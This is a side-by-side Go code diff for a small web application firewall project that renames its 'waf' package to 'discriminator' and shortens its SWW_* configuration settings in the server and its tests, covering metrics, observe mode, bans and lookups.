s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
metricsToken: token, metricsToken: token,
metricsBusiestCountriesAndASNs: "1", metricsTopN: "1",
}) })
// The answers are kept before the requests, so that GeoJS gives none // The answers are kept before the requests, so that GeoJS gives none
@@ -374,15 +327,14 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
tagDeny: denyKP, tagDeny: denyKP,
}) })
// GeoJS fails, so the client has no country= tag, and SWW_WAF_TAG_DENY does // GeoJS fails, so the client has no country= tag, and SWW_TAG_DENY does
// not refuse it. // not refuse it.
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE) req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK) wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once // The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS is up, so GeoJS's failure can // GeoJS's failure can come after its request has ended.
// come after its request has ended.
deadline := time.Now().Add(waitLimit) deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr) metrics := scrape(t, server.Addr)
@@ -395,12 +347,7 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
t,
metrics,
`sww_requests_without_geojs_answer_total{instance="app"}`,
1,
)
} }
// keptAnswer returns GeoJS's answer that the client at addr is in // keptAnswer returns GeoJS's answer that the client at addr is in
@@ -414,12 +361,12 @@ func keptAnswer(addr, country string) lookup.Answer {
} }
} }
// scrape asks waf at addr for the metrics, with the token, and returns // scrape asks discriminator at addr for the metrics, with the token, and returns
// them. // them.
func scrape(t *testing.T, addr string) string { func scrape(t *testing.T, addr string) string {
t.Helper() t.Helper()
req := newRequest(t, http.MethodGet, addr, waf.MetricsPath, http.NoBody) req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
req.Header.Set("Authorization", bearer) req.Header.Set("Authorization", bearer)
got := do(t, req) got := do(t, req)
@@ -434,10 +381,8 @@ func scrape(t *testing.T, addr string) string {
func (s *sender) scrape() string { func (s *sender) scrape() string {
s.t.Helper() s.t.Helper()
return string( return string(s.ownEndpointRequest(bearer, http.MethodGet, discriminator.MetricsPath,
s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath, "", http.StatusOK).body)
"", http.StatusOK).body,
)
} }
// metric returns the value of series in metrics, which are in the // metric returns the value of series in metrics, which are in the
@@ -449,10 +394,7 @@ func metric(t *testing.T, metrics, series string) float64 {
t.Helper() t.Helper()
for line := range strings.Lines(metrics) { for line := range strings.Lines(metrics) {
value, found := strings.CutPrefix( value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
strings.TrimSuffix(line, "\n"),
series+" ",
)
if !found { if !found {
continue continue
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -12,7 +12,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// observe is the value of SWW_WAF_MODE for observe mode. // observe is the value of SWW_MODE for observe mode.
const observe = "observe" const observe = "observe"
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) { func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
@@ -67,12 +67,7 @@ func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
server.Ledger.Load([]bans.Ban{ban}) server.Ledger.Load([]bans.Ban{ban})
if modeValue == observe { if modeValue == observe {
line := s.request( line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
client,
tc.path,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, tc.want) wantWouldAction(t, line, tc.want)
return return
@@ -98,21 +93,12 @@ func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
Cause: bans.CauseAttack, Cause: bans.CauseAttack,
}}) }})
line := s.request( line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
client,
"/wp-login.php",
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned) wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan { if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
t.Errorf( t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
"alerts waiting are %+v, want one %s",
waiting,
alerts.EventPermanentBan,
)
} }
} }
@@ -132,12 +118,12 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
denied = "192.0.2.50" // in SWW_WAF_DENY_NETS denied = "192.0.2.50" // in SWW_DENY_NETS
banned = otherClient // under a ban read from bans.json banned = otherClient // under a ban read from bans.json
) )
for _, tc := range []struct { for _, tc := range []struct {
setting string // "" leaves SWW_WAF_MODE at its default setting string // "" leaves SWW_MODE at its default
observe bool observe bool
}{ }{
{"", false}, {"", false},
@@ -149,10 +135,10 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
tagDeny: denyKP, tagDeny: denyKP,
} }
if tc.setting != "" { if tc.setting != "" {
@@ -177,22 +163,14 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
{fromDE, requestlog.ActionClientIsRateLimited}, {fromDE, requestlog.ActionClientIsRateLimited},
} { } {
if !tc.observe { if !tc.observe {
line := s.get( line := s.get(sent.from, http.StatusForbidden, sent.refusal)
sent.from,
http.StatusForbidden,
sent.refusal,
)
wantWouldAction(t, line, "") wantWouldAction(t, line, "")
continue continue
} }
// Passed to the app, which answered it. // Passed to the app, which answered it.
line := s.get( line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
sent.from,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, sent.refusal) wantWouldAction(t, line, sent.refusal)
} }
}) })
@@ -222,16 +200,11 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
line := s.get(client, http.StatusOK, requestlog.ActionForward) line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" { line.BanExpires != "" {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want minute, limit and none", line.LimitHit, line.Offence,
"want minute, limit and none", line.BanExpires)
line.LimitHit,
line.Offence,
line.BanExpires,
)
} }
} }
@@ -1,7 +1,7 @@
// Package waf is the server the waf command runs. It answers // Package discriminator is the server the discriminator command runs. It answers
// rproxy's questions, takes rproxy's reports and answers its own endpoints, and // rproxy's questions, takes rproxy's reports and answers its own endpoints, and
// writes a log line for each. // writes a log line for each.
package waf package discriminator
import ( import (
"fmt" "fmt"
@@ -25,46 +25,46 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// ownEndpointPrefix starts the path of each of waf's own endpoints. The app // ownEndpointPrefix starts the path of each of discriminator's own endpoints. The app
// never sees a path under it. // never sees a path under it.
const ownEndpointPrefix = "/_sww/" const ownEndpointPrefix = "/_sww/"
// HealthPath is the health endpoint of waf and of rproxy, which the // HealthPath is the health endpoint of discriminator and of rproxy, which the
// container's health check asks. // container's health check asks.
const HealthPath = "/_sww/healthz" const HealthPath = "/_sww/healthz"
// MetricsPath is where the metrics are, for a request that carries // MetricsPath is where the metrics are, for a request that carries
// SWW_WAF_METRICS_TOKEN. // SWW_METRICS_TOKEN.
const MetricsPath = "/_sww/metrics" const MetricsPath = "/_sww/metrics"
// BansPath is where an admin lists and adds bans, and, followed by / and // BansPath is where an admin lists and adds bans, and, followed by / and
// a client's address, lifts them, with SWW_WAF_ADMIN_TOKEN. // a client's address, lifts them, with SWW_ADMIN_TOKEN.
const BansPath = "/_sww/bans" const BansPath = "/_sww/bans"
// ClientsPath is where an admin asks what waf knows of a client, by // ClientsPath is where an admin asks what discriminator knows of a client, by
// the client's address after it, with SWW_WAF_ADMIN_TOKEN. // the client's address after it, with SWW_ADMIN_TOKEN.
const ClientsPath = "/_sww/clients/" const ClientsPath = "/_sww/clients/"
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
Config *config.WAF Config *config.Config
// RequestLog receives two JSON lines per question, one at its decision and // RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to waf's own // one when its report comes, and one per request to discriminator's own
// endpoints. // endpoints.
RequestLog io.Writer RequestLog io.Writer
// ProcessLog receives the process's own messages. // ProcessLog receives the process's own messages.
ProcessLog *slog.Logger ProcessLog *slog.Logger
// GeoJSURL is where clients' AS numbers and countries are looked up // GeoJSURL is where clients' AS numbers and countries are looked up
// while SWW_WAF_LOOKUP_SOURCE is geojs, normally lookup.URL. // while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
GeoJSURL string GeoJSURL string
// AbuseIPDBURL is where clients are checked with AbuseIPDB while // AbuseIPDBURL is where clients are checked with AbuseIPDB while
// SWW_WAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL. // SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
AbuseIPDBURL string AbuseIPDBURL string
// LookupFile is the lookup database they are looked up in while // LookupFile is the lookup database they are looked up in while
// SWW_WAF_LOOKUP_SOURCE is file, and nil otherwise. // SWW_LOOKUP_SOURCE is file, and nil otherwise.
LookupFile *lookup.File LookupFile *lookup.File
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests // CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
// while SWW_WAF_CORE_RULE_SET_MODE is not off, and nil while it is. // while SWW_WAF_MODE is not off, and nil while it is.
CoreRuleSet *coreruleset.CoreRuleSet CoreRuleSet *coreruleset.CoreRuleSet
// Now tells the time by which requests are counted for the rate // Now tells the time by which requests are counted for the rate
// limits, bans are made and run out, and GeoJS's answers are kept, // limits, bans are made and run out, and GeoJS's answers are kept,
@@ -73,21 +73,21 @@ type Params struct {
// Rules are the rule files' rules, which each request is checked // Rules are the rule files' rules, which each request is checked
// against. // against.
Rules *rules.Files Rules *rules.Files
// Alerts receive the alert for each ban waf makes or makes // Alerts receive the alert for each ban discriminator makes or makes
// permanent, for each count over an anomaly threshold, for each request // permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over // AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list // SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing, // failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up. // or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue Alerts *alerts.Queue
} }
// Server is the server waf runs, with the parts whose state the state // Server is the server discriminator runs, with the parts whose state the state
// files keep, the lookup database, nil unless SWW_WAF_LOOKUP_SOURCE is file, the // files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts, // lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
// AbuseIPDB's scores and checks spent, routewatch's answers, and the metrics. // AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
// RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is unset. // SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
type Server struct { type Server struct {
*http.Server *http.Server
@@ -106,10 +106,7 @@ type Server struct {
// newHandler returns the handler with what every request shares, as the // newHandler returns the handler with what every request shares, as the
// settings in params make it. // settings in params make it.
func newHandler(params Params) *handler { func newHandler(params Params) *handler {
m := metrics.New( m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
params.Config.MetricsBusiestCountriesAndASNs,
params.Config.InstanceName,
)
lists, dnsbl, abuseIPDB := newReputation(params, m) lists, dnsbl, abuseIPDB := newReputation(params, m)
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport) awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
@@ -133,21 +130,21 @@ func newHandler(params Params) *handler {
BytesPerDay: params.Config.BytesLimitPerDay, BytesPerDay: params.Config.BytesLimitPerDay,
}, params.Config.MaxTrackedClients), }, params.Config.MaxTrackedClients),
ledger: bans.New(bans.Params{ ledger: bans.New(bans.Params{
LimitBanDuration: params.Config.LimitBanDuration, LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
LimitBanPermanentAbove: params.Config.LimitBanPermanentAbove, MaxBanDuration: params.Config.MaxBanDuration,
AttackBanDuration: params.Config.AttackBanDuration, AttackBanDuration: params.Config.AttackBanDuration,
MaxBans: params.Config.MaxBans, MaxBans: params.Config.MaxBans,
}), }),
anomalies: anomaly.New(anomaly.Params{ anomalies: anomaly.New(anomaly.Params{
Client: params.Config.AnomalyClient, Client: params.Config.AnomalyClient,
Net: params.Config.AnomalyNet, Net: params.Config.AnomalyNet,
ASN: params.Config.AnomalyASN, ASN: params.Config.AnomalyASN,
Total: params.Config.AnomalyTotal, Total: params.Config.AnomalyTotal,
WatchedNet: params.Config.AnomalyWatchedNet, Watch: params.Config.AnomalyWatch,
NetV4Prefix: params.Config.AnomalyNetV4Prefix, NetV4Prefix: params.Config.AnomalyNetV4Prefix,
NetV6Prefix: params.Config.AnomalyNetV6Prefix, NetV6Prefix: params.Config.AnomalyNetV6Prefix,
NamedNetblocks: params.Config.AnomalyWatchedNets, NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts, Alerts: params.Alerts,
}), }),
lookupFile: params.LookupFile, lookupFile: params.LookupFile,
@@ -166,7 +163,7 @@ func newHandler(params Params) *handler {
h.geojs = lookup.New(lookup.Params{ h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL, URL: params.GeoJSURL,
Timeout: params.Config.ASNAndCountryLookupTimeout, Timeout: params.Config.LookupTimeout,
// The country list, the headers, the tag settings that name an asn= // The country list, the headers, the tag settings that name an asn=
// or country= tag and the biased thresholds act on the answer before // or country= tag and the biased thresholds act on the answer before
// the request goes on. // the request goes on.
@@ -188,7 +185,7 @@ func newHandler(params Params) *handler {
// newReputation returns the lists fetched from URLs, the DNSBL zones' // newReputation returns the lists fetched from URLs, the DNSBL zones'
// verdicts and AbuseIPDB's scores, as the settings in params name them, // verdicts and AbuseIPDB's scores, as the settings in params name them,
// with none fetched, asked for or checked yet, and adds their metrics to // with none fetched, asked for or checked yet, and adds their metrics to
// m, AbuseIPDB's while SWW_WAF_ABUSEIPDB_KEY is set. // m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
func newReputation( func newReputation(
params Params, m *metrics.Metrics, params Params, m *metrics.Metrics,
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) { ) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
@@ -201,15 +198,14 @@ func newReputation(
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts, Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
}) })
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{ dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
CacheTTL: cfg.IPReputationCacheTTL, Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts, Alerts: params.Alerts,
}) })
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{ abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore, URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.IPReputationCacheTTL, DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog, Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts, Alerts: params.Alerts,
}) })
@@ -222,50 +218,40 @@ func newReputation(
return lists, dnsbl, abuseIPDB return lists, dnsbl, abuseIPDB
} }
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in // up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS, // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
// an error in every mode. While the mode is off, a set file is loaded with the // an error in every mode. While the mode is off, a set file is loaded with the
// Core Rule Set only to check it. // Core Rule Set only to check it.
func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) { func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff && if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" {
cfg.CoreRuleSetExclusionsFile == "" {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
} }
coreRuleSet, err := coreruleset.New(coreruleset.Params{ coreRuleSet, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
DisabledRules: cfg.CoreRuleSetDisabledRules, BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
BodyInspectionSize: min(
cfg.CoreRuleSetBodyInspectionSize,
QuestionBodyMaxBytes-1,
),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
}) })
if err != nil { if err != nil {
return nil, fmt.Errorf( return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: %w",
err,
)
} }
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff { if cfg.WAFMode == config.WAFModeOff {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
} }
return coreRuleSet, nil return coreRuleSet, nil
} }
// handler is waf's handler. It holds what every request shares; what // handler is discriminator's handler. It holds what every request shares; what
// belongs to one request is in a request. // belongs to one request is in a request.
type handler struct { type handler struct {
config *config.WAF config *config.Config
requestLog io.Writer requestLog io.Writer
processLog *slog.Logger processLog *slog.Logger
now func() time.Time now func() time.Time
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -17,12 +17,11 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest" "sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy" "sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -56,35 +55,35 @@ const (
// The settings the tests set. // The settings the tests set.
const ( const (
mode = "SWW_WAF_MODE" mode = "SWW_MODE"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES" trustedProxies = "SWRP_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX" ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS" maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
allowNets = "SWW_WAF_ALLOW_NETS" allowNets = "SWW_ALLOW_NETS"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_WAF_DENY_NETS" denyNets = "SWW_DENY_NETS"
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE" rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS" rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_WAF_LOOKUP_SOURCE" lookupSource = "SWW_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" lookupDBPath = "SWW_LOOKUP_DB_PATH"
asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS" lookupTimeout = "SWW_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS" addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_WAF_TAG_DENY" tagDeny = "SWW_TAG_DENY"
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country. // denyKP is the value of SWW_TAG_DENY that refuses fromKP's country.
denyKP = "country=KP" denyKP = "country=KP"
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES" allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_WAF_BAN_RESPONSE" banResponse = "SWW_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION" limitBanDuration = "SWW_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW" limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE" maxBanDuration = "SWW_MAX_BAN_DURATION"
maxBans = "SWW_WAF_MAX_BANS" maxBans = "SWW_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX" banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_WAF_INSTANCE_NAME" instanceName = "SWW_INSTANCE_NAME"
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS" logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION" attackBanDuration = "SWW_ATTACK_BAN_DURATION"
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR" rulesDir = "SWW_RULES_DIR"
coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE" wafMode = "SWW_WAF_MODE"
) )
// off is the value that switches a setting off. // off is the value that switches a setting off.
@@ -178,9 +177,9 @@ func (o *output) requestLine(t *testing.T) logLine {
return o.requestLines(t, 1)[0] return o.requestLines(t, 1)[0]
} }
// endedLines waits for count requests that went through rproxy, or to waf's // endedLines waits for count requests that went through rproxy, or to discriminator's
// own endpoints, to have ended, and returns the last log line of each, in the // own endpoints, to have ended, and returns the last log line of each, in the
// order waf took them. A question's last line is the one its report writes. // order discriminator took them. A question's last line is the one its report writes.
func (o *output) endedLines(t *testing.T, count int) []logLine { func (o *output) endedLines(t *testing.T, count int) []logLine {
t.Helper() t.Helper()
@@ -190,7 +189,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
ended := len(found) >= count ended := len(found) >= count
for _, line := range found[:min(count, len(found))] { for _, line := range found[:min(count, len(found))] {
if line.WAFLine == requestlog.WAFLineDecision { if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
ended = false ended = false
} }
} }
@@ -208,7 +207,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
} }
// lastLines returns the last request log line written so far of each request, // lastLines returns the last request log line written so far of each request,
// in the order waf took them. // in the order discriminator took them.
func (o *output) lastLines(t *testing.T) []logLine { func (o *output) lastLines(t *testing.T) []logLine {
t.Helper() t.Helper()
@@ -274,14 +273,10 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
return server return server
} }
// startProxy starts waf, and rproxy in front of the app at appURL, each with // startProxy starts discriminator, and rproxy in front of the app at appURL, each with
// the settings in env on top of the defaults, and returns where rproxy listens // the settings in env on top of the defaults, and returns where rproxy listens
// and what waf writes. // and what discriminator writes.
func startProxy( func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
t *testing.T,
appURL string,
env map[string]string,
) (string, *output) {
t.Helper() t.Helper()
return startProxyWithGeoJS(t, appURL, "", env) return startProxyWithGeoJS(t, appURL, "", env)
@@ -300,36 +295,30 @@ func startProxyWithGeoJS(
} }
// startProxyWithClock is startProxyWithGeoJS with requests counted and // startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns waf's server as well, whose // bans made by the time now tells, and returns discriminator's server as well, whose
// Addr is where waf listens. Unless env sets SWW_WAF_RULE_FILES_DIR, it is an empty // Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app, // directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
// the label instance of every metric. // the label instance of every metric.
func startProxyWithClock( func startProxyWithClock(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
) (string, *output, *waf.Server) { ) (string, *output, *discriminator.Server) {
t.Helper() t.Helper()
addr, out, server, _ := startProxyWithAlerts( addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
t,
appURL,
geojsURL,
now,
env,
)
return addr, out, server return addr, out, server
} }
// startProxyWithAlerts is startProxyWithClock, and returns the queue of // startProxyWithAlerts is startProxyWithClock, and returns the queue of
// the alerts waf raises as well, as newWAF makes them. // the alerts discriminator raises as well, as newDiscriminator makes them.
func startProxyWithAlerts( func startProxyWithAlerts(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
) (string, *output, *waf.Server, *alerts.Queue) { ) (string, *output, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
server, out, alertQueue := newWAF(t, geojsURL, now, env) server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
serve(t, server) serve(t, server)
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
@@ -337,14 +326,10 @@ func startProxyWithAlerts(
